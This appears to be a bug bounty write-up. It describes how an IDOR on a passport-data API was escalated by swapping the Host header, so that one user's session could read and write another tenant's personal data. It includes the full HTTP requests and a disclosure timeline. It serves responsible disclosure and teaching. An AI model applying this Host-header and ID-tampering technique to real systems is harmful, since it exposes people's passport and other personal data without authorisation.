While testing a private bug bounty program, I encountered an IDOR vulnerability. At first glance, it appeared to be a simple IDOR where I could manipulate the id parameter and write data to another user's record. However, there was an unusual behavior in how the system handled subdomains.

Each user has a dedicated subdomain:

user1.domain.com -> userId = 1234

user2.domain.com -> userId = 4321

There is an endpoint that allows users to add passport information. This action can only be performed once after submission, the data cannot be modified.

Example request:

POST /api/v3/passport/addPassport
Host: user1.domain.com
Authorization: <user1's sessionId>

id=1234&passportNo=00000000000&name=Test&address=Test+test+test+5

201 Created

The stored data can then be retrieved using:

GET /api/v3/passport?userId=1234
Host: user1.domain.com
Authorization: <user1's sessionId>


200 OK

{data}

To test for IDOR, I modified the id parameter and changed it from 1234 to 4321:

POST /api/v3/passport/addPassport
Host: user1.domain.com
Authorization: <user1's sessionId>

id=4321&passportNo=00000000000&name=Test&address=Test+test+test+5

201 Created

The request was accepted and returned 200 OK, indicating that the passport information for userId=4321 was successfully created.

When retrieving the data from the same subdomain:

GET /api/v3/passport?userId=4321
Host: user1.domain.com
Authorization: <user1's sessionId>

200 OK

{data}

There is an issue here: although the request was successfully processed with another userId, it didn't affect user2's requests. The data seems to be stored only under the same subdomain where the request was made.

GET /api/v3/passport?userId=4321
Host: user2.domain.com
Authorization: <user2's sessionId>


404 NOT FOUND

This is an IDOR vulnerability with limited impact. To demonstrate a real security impact, I would need to escalate it and be able to write this data to another user's subdomain.

Now I'll explain what I tried and it worked successfully. This turned out to be a major misconfiguration. I honestly couldn't believe it worked.

The only thing I did was change the Host header to user2's domain. That was it. Using user1's session, I was able to post data to user2's subdomain. At first, I genuinely couldn't believe it worked I initially thought it might be related to kind of caching mechanism.

POST /api/v3/passport/addPassport
Host: user2.domain.com
Authorization: <user1's sessionId>

id=4321&passportNo=00000000000&name=Test&address=Test+test+test+5

201 Created
GET /api/v3/passport?userId=4321
Host: user2.domain.com
Authorization: <user2's sessionId>

200 OK

Bingo! If I can modify the Host header and successfully send this request, it means the same approach works across all API endpoints. This represents a critical vulnerability for the company.

GET /api/v3/passport?userId=4321
Host: user2.domain.com
Authorization: <user1's sessionId>!!!

200 OK

This vulnerability allows unrestricted access to all API endpoints across every subdomain, exposing more than 50 endpoints, including those that handle critical PII.

The company has a strong security posture; however, after changes to their API architecture, a minor misconfiguration resulted in this vulnerability.

Timeline

Reported January 8, 2026, 5:17pm UTC

Rewarded with $$$$ bounty January 8, 2026, 8pm UTC

Resolved January 8, 2026, 9:34pm UTC

Thank you!